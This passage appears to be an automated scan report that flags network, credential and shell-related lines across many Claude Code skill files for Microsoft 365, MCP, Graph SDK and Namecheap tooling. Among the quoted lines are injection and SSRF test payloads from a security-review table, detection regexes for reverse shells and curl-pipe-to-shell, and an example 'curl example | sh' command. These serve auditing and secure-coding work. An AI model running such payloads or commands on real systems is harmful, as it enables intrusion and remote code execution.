    - [Adaptive Card Schema](https://adaptivecards.io/schemas/adaptive-card.json)
  • Network accessline 169
    - [Template Language](https://learn.microsoft.com/en-us/adaptive-cards/templating/language)
  • Network accessline 170
    - [JSONPath](https://www.rfc-editor.org/rfc/rfc9535)

harness/claude-code/skills/mcp-create-adaptive-cards/references/card-reference-examples.md

  • Network accessline 25
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 26
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 27
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 125
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 126
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     },
  • Network accessline 127
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 156
    }       ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 157
    ],       "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"     }
  • Network accessline 158
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json"
  • Network accessline 221
    {   "type": "Image",   "url": "https://example.com/image.png",
  • Network accessline 222
    "type": "Image",   "url": "https://example.com/image.png",   "size": "medium",  // auto, stretch, small, medium, large
  • Network accessline 223
    "url": "https://example.com/image.png",
  • Network accessline 265
    "type": "Action.OpenUrl",   "title": "View Details",   "url": "https://example.com/item/${id}"
  • Network accessline 266
    "title": "View Details",   "url": "https://example.com/item/${id}" }
  • Network accessline 267
    "url": "https://example.com/item/${id}"
  • Network accessline 288
    "static_template": {             "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",
  • Network accessline 289
    "type": "AdaptiveCard",             "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",             "version": "1.5",
  • Network accessline 290
    "$schema": "http://adaptivecards.io/schemas/adaptive-card.json",

harness/claude-code/skills/mcp-create-declarative-agent/SKILL.md

  • Network accessline 26
    - Use Microsoft 365 Agents Toolkit project conventions and generated `appPackage/` files. - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilo
  • Network accessline 27
    - The MCP server must expose server metadata, a tools listing endpoint, and tool execution endpoint. - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`. - Store secrets in `.env.local` or `.env.dev`; n
  • Network accessline 28
    - Test the finished agent in Microsoft 365 Copilot at `https://m365.cloud.microsoft/chat`.
  • Access to secretsline 29
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 54
    {"$schema":"https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json","manifestVersion":"devPreview","version":"1.0.0","id":"...","developer":{"name":"...","websiteUrl":"...","privacyUrl":"...","termsOfUseUr
  • Network accessline 60
    {"$schema":"https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json","version":"v1.0","name":"Agent Name","description":"Agent description","instructions":"You are an assistant that helps with [specific domain]. Use the avail
  • Network accessline 66
    {"schema_version":"v2.1","name_for_human":"Service Name","description_for_human":"Description for users","description_for_model":"Description for AI model","contact_email":"support@company.com","namespace":"serviceName","capabilities":{"con
  • Network accessline 72
    {"serverUrl":"https://{api-host}/mcp/","pluginFilePath":"appPackage/ai-plugin.json"}
  • Network accessline 90
    | Need | Configuration | | --- | --- | | OAuth 2.0 static registration | Use `"type": "OAuthPluginVault"`, `"reference_id": "${{OAUTH_REFERENCE_ID}}"`, `"authorization_url": "https://{auth-host}/authorize"`, `"client_id": "${{CLIENT_ID}}"`,
  • Network accessline 91
    [Credential-related source omitted]
  • Network accessline 92
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Network accessline 99
    | Server | URL | Tools | Auth | | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 100
    | --- | --- | --- | --- | | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 | | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `cr
  • Network accessline 101
    | GitHub MCP Server | `https://api.githubcopilot.com/mcp/` | `search_repositories`, `search_users`, `get_repository` | OAuth 2.0 |
  • Network accessline 102
    | Jira MCP Server | `https://your-domain.atlassian.net/mcp/` | `search_issues`, `create_issue`, `update_issue` | OAuth 2.0 |
  • Network accessline 103
    | Custom Service | `https://{api-host}/mcp/` | Custom tools exposed by your service | OAuth 2.0 or SSO |
  • Network accessline 145
    - Provisioning: pass | not run | blocked - Local debug/sideload: pass | not run | blocked - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Network accessline 147
    - Microsoft 365 Copilot test at `https://m365.cloud.microsoft/chat`: pass | not run | blocked
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 162
    - [Microsoft Teams manifest schema](https://developer.microsoft.com/json-schemas/teams/vDevPreview/MicrosoftTeams.schema.json)
  • Network accessline 163
    - [Declarative agent schema](https://aka.ms/json-schemas/copilot/declarative-agent/v1.0/schema.json)
  • Network accessline 164
    - [Microsoft 365 Copilot chat](https://m365.cloud.microsoft/chat)

harness/claude-code/skills/mcp-deploy-manage-agents/SKILL.md

  • Network accessline 26
    - Access the Microsoft 365 admin center at https://admin.microsoft.com/ for tenant agent registry, availability, deployment, blocking, and assignment.
  • Network accessline 27
    - Use the Power Platform admin center at https://admin.powerplatform.microsoft.com/ when the agent is an App Builder agent, Workflows agent, agent studio agent, or flow-backed agent.
  • Network accessline 28
    - Use Partner Center at https://learn.microsoft.com/en-us/partner-center/ only for public Agent Store submission and validation.
  • Network accessline 140
    - [Microsoft 365 admin center](https://admin.microsoft.com/)
  • Network accessline 141
    - [Power Platform admin center](https://admin.powerplatform.microsoft.com/)
  • Network accessline 142
    - [Partner Center for agent submissions](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 143
    - [Microsoft Agent 365 Overview](https://learn.microsoft.com/en-us/microsoft-agent-365/overview)
  • Network accessline 144
    - [Agent Registry Documentation](https://learn.microsoft.com/en-us/microsoft-365/admin/manage/agent-registry)

harness/claude-code/skills/mcp-implementation-security-review/SKILL.md

  • Network accessline 109
    | Vector | Dangerous code | Safe alternative | Test payload | CWE | | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `e
  • Network accessline 110
    | --- | --- | --- | --- | --- | | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", us
  • Dangerous shell operationline 111
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Network accessline 111
    | Command injection | `exec("convert " + args.filename)`, `os.system(f"process {user_input}")`, `Process.Start("cmd", "/c " + toolArg)` | `execFile("convert", [args.filename])`, `subprocess.run(["process", user_input], shell=False)` | `; rm
  • Dangerous shell operationline 112
    | Dynamic code evaluation | `eval(args.expression)`, `exec(tool_output)`, `new Function(args.code)()` | Sandboxed parser, AST-based evaluation, or predefined allowlist. | `__import__('os').system('whoami')`, `require('child_process').exec('
  • Network accessline 115
    | SSTI | `Template(user_input).render()`, `Handlebars.compile(args.template)({data})` | Never use user input as template source; use predefined templates with parameters only. | `{{7*7}}`, `${7*7}`, `<%= 7*7 %>` must not render `49`. | CWE-
  • Network accessline 117
    | SSRF | `requests.get(user_param)`, `fetch(user_input)`, `HttpClient.GetAsync(user_input)` | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending. | `http://169.254.169.254/latest/meta-data/`, `http
  • Network accessline 200
    - [MCP specification 2025-03-26](https://modelcontextprotocol.io/specification/2025-03-26)
  • Network accessline 201
    - [MCP specification 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25)

harness/claude-code/skills/mcp-security-audit/SKILL.md

  • Network accessline 72
    (r'(?i)bash\s+-c\s', "bash -c execution"),     (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 73
    (r'(?i)sh\s+-c\s', "sh -c execution"),     (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),     (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Dangerous shell operationline 74
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 74
    (r'>\s*/dev/tcp/', "TCP redirect (reverse shell pattern)"),
  • Network accessline 75
    (r'curl\s+.*\|\s*(ba)?sh', "curl pipe to shell"),
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 154
    [Credential-related source omitted]
  • Access to secretsline 155
    [Credential-related source omitted]
  • Dangerous shell operationline 156
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Network accessline 156
    | `"command": "node", "args": ["server.js"]` | `"command": "bash", "args": ["-c", "curl example | sh"]` |
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 190
    - [MCP Specification](https://modelcontextprotocol.io/)
  • Network accessline 191
    - [Agent Governance Toolkit](https://github.com/microsoft/agent-governance-toolkit)
  • Network accessline 192
    - [OWASP ASI-02: Insecure Tool Use](https://genai.owasp.org/)

harness/claude-code/skills/md-to-docx/scripts/md-to-docx.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/md-to-docx/scripts/package.json

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/meeting-minutes/SKILL.md

  • Network accessline 67
    | Due date | Every action item must include `YYYY-MM-DD`, `ASAP`, or a clear timeframe. | | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, f
  • Network accessline 68
    | Acceptance criteria | Add what completes the action whenever possible. | | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. | | Uncertainty | Do not infer unsu
  • Network accessline 69
    | Traceability | Link tickets, slides, recordings, or URLs when provided, for example `https://github.com/owner/repo/issues/123`. |

harness/claude-code/skills/mentoring-juniors/SKILL.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 199
    - [Thomas Chmara](https://github.com/AGAH4X)
  • Network accessline 200
    - [François Descamps](https://github.com/fdescamps)

harness/claude-code/skills/microsoft-agent-framework/SKILL.md

  • Network accessline 26
    - Microsoft Agent Framework is in public preview and changes quickly. - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices.
  • Network accessline 27
    - Read the official overview at `https://learn.microsoft.com/agent-framework/overview/agent-framework-overview` before making implementation choices. - Prefer official docs and samples for current APIs; treat older Semantic Kernel and AutoG
  • Network accessline 55
    | Source | Rule | Official guide | | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kerne
  • Network accessline 56
    | --- | --- | --- | | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` | | AutoGen | Preserve agent in
  • Network accessline 57
    | Semantic Kernel | Preserve behavior first, then adopt native Agent Framework patterns incrementally. | `https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/` |
  • Network accessline 58
    | AutoGen | Preserve agent interactions and orchestration semantics before replacing abstractions. | `https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/` |
  • Network accessline 109
    - [Microsoft Agent Framework overview](https://learn.microsoft.com/agent-framework/overview/agent-framework-overview)
  • Network accessline 110
    - [Migration guide from Semantic Kernel](https://learn.microsoft.com/agent-framework/migration-guide/from-semantic-kernel/)
  • Network accessline 111
    - [Migration guide from AutoGen](https://learn.microsoft.com/agent-framework/migration-guide/from-autogen/)

harness/claude-code/skills/microsoft-agent-framework/references/dotnet.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/dotnet/samples>

harness/claude-code/skills/microsoft-agent-framework/references/python.md

  • Network accessline 7
    - Repository: <https://github.com/microsoft/agent-framework/tree/main/python>
  • Network accessline 8
    - Samples: <https://github.com/microsoft/agent-framework/tree/main/python/samples>

harness/claude-code/skills/microsoft-code-reference/SKILL.md

  • Network accessline 8
    metadata:   compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 9
    compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use     the mslearn CLI as a fallback.
  • Network accessline 10
    Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 133
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)

harness/claude-code/skills/microsoft-docs/SKILL.md

  • Network accessline 133
    - [Aspire docs MCP tools announcement](https://davidpine.dev/posts/aspire-docs-mcp-tools/)
  • Network accessline 134
    - [Aspire PR #14028](https://github.com/dotnet/aspire/pull/14028)

harness/claude-code/skills/microsoft-skill-creator/SKILL.md

  • Network accessline 8
    metadata:   compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 9
    compatibility: >-     Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use     the mslearn CLI as a fallback.
  • Network accessline 10
    Works best with Microsoft Learn MCP Server (https://learn.microsoft.com/api/mcp). Can also use
  • Network accessline 31
    - Prefer the Microsoft Learn MCP Server at `https://learn.microsoft.com/api/mcp` when available.
  • Network accessline 106
    For a Semantic Kernel skill, use `semantic-kernel/`, `sample_codes/getting-started/hello-kernel.cs`, `sample_codes/common-patterns/chat-completion.cs`, and `sample_codes/common-patterns/function-calling.cs`. Useful seed lookups include `mic
  • Network accessline 158
    - [Microsoft Learn MCP Server](https://learn.microsoft.com/api/mcp)
  • Network accessline 159
    - [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
  • Network accessline 160
    - [Semantic Kernel agent memory](https://learn.microsoft.com/en-us/semantic-kernel/frameworks/agent/agent-memory)

harness/claude-code/skills/mini-context-graph/references/lint.md

  • Dangerous shell operationline 48
    # rm wiki/{category}/{slug}.md

harness/claude-code/skills/mini-context-graph/scripts/config.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]

harness/claude-code/skills/mini-context-graph/scripts/contextgraph.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/mini-context-graph/scripts/template_agent_workflow.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/mini-context-graph/scripts/tools/__init__.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/mini-context-graph/scripts/tools/documents_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 27
    [Credential-related source omitted]

harness/claude-code/skills/mini-context-graph/scripts/tools/graph_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 21
    [Credential-related source omitted]

harness/claude-code/skills/mini-context-graph/scripts/tools/index_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/skills/mini-context-graph/scripts/tools/ontology_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

harness/claude-code/skills/mini-context-graph/scripts/tools/retrieval_engine.py

  • Executable scriptline 1
    Executable file

harness/claude-code/skills/mini-context-graph/scripts/tools/wiki_store.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 30
    [Credential-related source omitted]

harness/claude-code/skills/modernization-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 28
    [Credential-related source omitted]

harness/claude-code/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 36
    [Credential-related source omitted]

harness/claude-code/skills/msgraph-sdk/SKILL.md

  • Network accessline 76
    | Resource data notifications | High-volume scenarios need changed resource payloads. | Requires additional encryption setup. | | Retry middleware | Production workloads may hit 429. | Enable SDK retry middleware or implement exact `Retry-A
  • Network accessline 78
    | Least privilege | Avoid broad permissions. | Use https://learn.microsoft.com/graph/permissions-reference and admin consent only when required. |
  • Network accessline 153
    - [Microsoft Graph overview](https://learn.microsoft.com/graph/overview)
  • Network accessline 154
    - [Graph Explorer](https://developer.microsoft.com/graph/graph-explorer)
  • Network accessline 155
    - [Graph permissions reference](https://learn.microsoft.com/graph/permissions-reference)

harness/claude-code/skills/msgraph-sdk/references/dotnet.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-dotnet>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-dotnet>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-dotnet/blob/main/CHANGELOG.md>
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]

harness/claude-code/skills/msgraph-sdk/references/python.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-python>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-python>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-python/blob/main/CHANGELOG.md>
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 210
    [Credential-related source omitted]
  • Network accessline 211
    [Credential-related source omitted]
  • Network accessline 212
    async with httpx.AsyncClient() as client:
  • Network accessline 213
    [Credential-related source omitted]
  • Network accessline 214
    "https://graph.microsoft.com/v1.0/$batch",

harness/claude-code/skills/msgraph-sdk/references/typescript.md

  • Network accessline 7
    - SDK repository: <https://github.com/microsoftgraph/msgraph-sdk-javascript>
  • Network accessline 8
    - Samples: <https://github.com/microsoftgraph/msgraph-training-typescript>
  • Network accessline 9
    - SDK changelog: <https://github.com/microsoftgraph/msgraph-sdk-javascript/blob/main/CHANGELOG.md>
  • Network accessline 33
    const credential = new DefaultAzureCredential(); const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 34
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"], });
  • Network accessline 35
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 49
    [Credential-related source omitted]
  • Network accessline 52
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 53
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 72
    const authProvider = new TokenCredentialAuthenticationProvider(credential, {   scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 73
    scopes: ["https://learn.microsoft.com/en-us/graph/auth-v2-service?tabs=http#4-get-an-access-token"],
  • Network accessline 88
    // Opens a browser tab — requires redirect URI http://localhost in app registration

harness/claude-code/skills/msstore-cli/SKILL.md

  • Network accessline 43
    Use the Microsoft Store package at `https://www.microsoft.com/store/apps/9P53PC5S0PHJ` or manual releases at `https://aka.ms/msstoredevcli/releases` when WinGet is not appropriate.
  • Network accessline 47
    1. Go to `https://learn.microsoft.com/en-us/partner-center/` and open Partner Center.
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 145
    - [Microsoft Store Developer CLI Documentation](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/overview)
  • Network accessline 146
    - [CLI Commands Reference](https://learn.microsoft.com/windows/apps/publish/msstore-dev-cli/commands)
  • Network accessline 147
    - [GitHub Repository](https://github.com/microsoft/msstore-cli)
  • Network accessline 148
    - [Partner Center API](https://learn.microsoft.com/windows/uwp/monetize/using-windows-store-services)
  • Network accessline 149
    - [App Submission API](https://learn.microsoft.com/windows/uwp/monetize/create-and-manage-submissions-using-windows-store-services)
  • Network accessline 150
    - [Package Flights Overview](https://learn.microsoft.com/windows/uwp/publish/package-flights)
  • Network accessline 151
    - [Gradual Package Rollout](https://learn.microsoft.com/windows/uwp/publish/gradual-package-rollout)
  • Network accessline 152
    - [Partner Center](https://learn.microsoft.com/en-us/partner-center/)
  • Network accessline 153
    - [Microsoft Store package](https://www.microsoft.com/store/apps/9P53PC5S0PHJ)
  • Network accessline 154
    - [Manual releases](https://aka.ms/msstoredevcli/releases)

harness/claude-code/skills/msstore-cli/references/commands-and-workflows.md

  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 232
    # Initialize PWA msstore init https://contoso.com --output ./pwa-package
  • Network accessline 233
    msstore init https://contoso.com --output ./pwa-package
  • Access to secretsline 401
    [Credential-related source omitted]
  • Access to secretsline 498
    [Credential-related source omitted]

harness/claude-code/skills/mutation-testing/SKILL.md

  • Network accessline 135
    - [Stryker Mutator](https://stryker-mutator.io/docs/)
  • Network accessline 136
    - [PIT mutation testing](https://pitest.org/)
  • Network accessline 137
    - [mutmut](https://mutmut.readthedocs.io/)
  • Network accessline 138
    - [Cosmic Ray](https://cosmic-ray.readthedocs.io/)

harness/claude-code/skills/mvvm-toolkit-di/SKILL.md

  • Network accessline 246
    - [Dependency injection in .NET](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection)
  • Network accessline 247
    - [Dependency injection usage](https://learn.microsoft.com/en-us/dotnet/core/extensions/dependency-injection-usage)
  • Network accessline 248
    - [MVVM Toolkit Ioc](https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/ioc)
  • Network accessline 249
    - [Generic Host](https://learn.microsoft.com/en-us/dotnet/core/extensions/generic-host)
  • Network accessline 250
    - [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder)

harness/claude-code/skills/mvvm-toolkit-di/references/dependency-injection.md

  • Network accessline 52
    > On WPF and Windows Forms, integrate the host lifetime with the > application lifetime — see > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).
  • Network accessline 54
    > [Use the .NET Generic Host in a WPF app](https://learn.microsoft.com/en-us/dotnet/desktop/wpf/app-development/how-to-use-host-builder).

harness/claude-code/skills/mvvm-toolkit-messenger/SKILL.md

  • Network accessline 308
    - Messenger docs: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/messenger>
  • Network accessline 309
    - `WeakReferenceMessenger` API: <https://learn.microsoft.com/en-us/dotnet/api/communitytoolkit.mvvm.messaging.weakreferencemessenger>
  • Network accessline 310
    - Source: <https://github.com/CommunityToolkit/dotnet>

harness/claude-code/skills/mvvm-toolkit/SKILL.md

  • Network accessline 283
    - Toolkit overview: https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/
  • Network accessline 284
    - WinUI MVVM Toolkit tutorial: https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro
  • Network accessline 285
    - Source: https://github.com/CommunityToolkit/dotnet
  • Network accessline 286
    - Samples: https://github.com/CommunityToolkit/MVVM-Samples

harness/claude-code/skills/mvvm-toolkit/references/end-to-end-walkthrough.md

  • Network accessline 8
    This walkthrough mirrors the official tutorial at <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.
  • Network accessline 9
    <https://learn.microsoft.com/en-us/windows/apps/tutorials/winui-mvvm-toolkit/intro>.

harness/claude-code/skills/mvvm-toolkit/references/troubleshooting.md

  • Network accessline 20
    Search the full table at: <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 21
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 208
    - All `MVVMTK0xxx` errors:   <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 209
    <https://learn.microsoft.com/en-us/dotnet/communitytoolkit/mvvm/generators/errors/>
  • Network accessline 210
    - Source: <https://github.com/CommunityToolkit/dotnet>
  • Network accessline 211
    - Sample app: <https://aka.ms/mvvmtoolkit/samples>

harness/claude-code/skills/namecheap/SKILL.md

  • Network accessline 28
    - The script requires Python 3 standard library only; no `pip install` is needed. - Credentials come from `~/.namecheap-api` or environment variables. - Namecheap API access must be enabled and the caller's public IP must be whitelisted at 
  • Network accessline 30
    - Namecheap API access must be enabled and the caller's public IP must be whitelisted at https://ap.www.namecheap.com/settings/tools/apiaccess/.
  • Access to secretsline 34
    [Credential-related source omitted]
  • Network accessline 36
    1. Run `python3 namecheap.py public-ip` to display the public IP. 2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP.
  • Network accessline 37
    2. Instruct the user to enable API access at https://ap.www.namecheap.com/settings/tools/apiaccess/, select ON, and whitelist the displayed IP.
  • Access to secretsline 39
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 172
    - [Namecheap API access settings](https://ap.www.namecheap.com/settings/tools/apiaccess/)

harness/claude-code/skills/namecheap/namecheap.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 21
    API_URL = "https://api.namecheap.com/xml.response"
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 99
    [Credential-related source omitted]
  • Network accessline 104
    print("You need:")         print("  1. Your Namecheap username")         print("  2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Network accessline 105
    print("  1. Your Namecheap username")         print("  2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/")         print("  3. Your public IP whitelisted in the API settings")
  • Network accessline 106
    print("  2. An API key from: https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Access to secretsline 115
    [Credential-related source omitted]
  • Network accessline 121
    def _http_get(url, timeout=15):     req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"})
  • Network accessline 122
    req = urllib.request.Request(url, headers={"User-Agent": "namecheap-skill/1.0"})
  • Network accessline 123
    with urllib.request.urlopen(req, timeout=timeout) as resp:  # noqa: S310 (https only)
  • Network accessline 130
    if _public_ip:         return _public_ip     for url in ("https://api.ipify.org", "https://ifconfig.me"):
  • Network accessline 131
    return _public_ip     for url in ("https://api.ipify.org", "https://ifconfig.me"):         try:
  • Network accessline 132
    for url in ("https://api.ipify.org", "https://ifconfig.me"):
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 171
    [Credential-related source omitted]
  • Network accessline 221
    print()     print("Make sure this IP is whitelisted at:")     print("  https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Network accessline 222
    print("Make sure this IP is whitelisted at:")     print("  https://ap.www.namecheap.com/settings/tools/apiaccess/")     print()
  • Network accessline 223
    print("  https://ap.www.namecheap.com/settings/tools/apiaccess/")
  • Access to secretsline 244
    [Credential-related source omitted]
  • Access to secretsline 247
    [Credential-related source omitted]
  • Access to secretsline 251
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Access to secretsline 257
    [Credential-related source omitted]

harness/claude-code/skills/namecheap/references/namecheap-api.md

  • Network accessline 6
    https://api.namecheap.com/xml.response
  • Network accessline 14
    |-----------|-------------| | `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ |
  • Network accessline 15
    | `ApiUser` | Namecheap username | | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ | | `UserName` | Same as ApiUser |
  • Network accessline 16
    | `ApiKey` | API key from https://ap.www.namecheap.com/settings/tools/apiaccess/ |
  • Network accessline 23
    1. Log in to Namecheap 2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/
  • Network accessline 24
    2. Go to https://ap.www.namecheap.com/settings/tools/apiaccess/
  • Network accessline 376
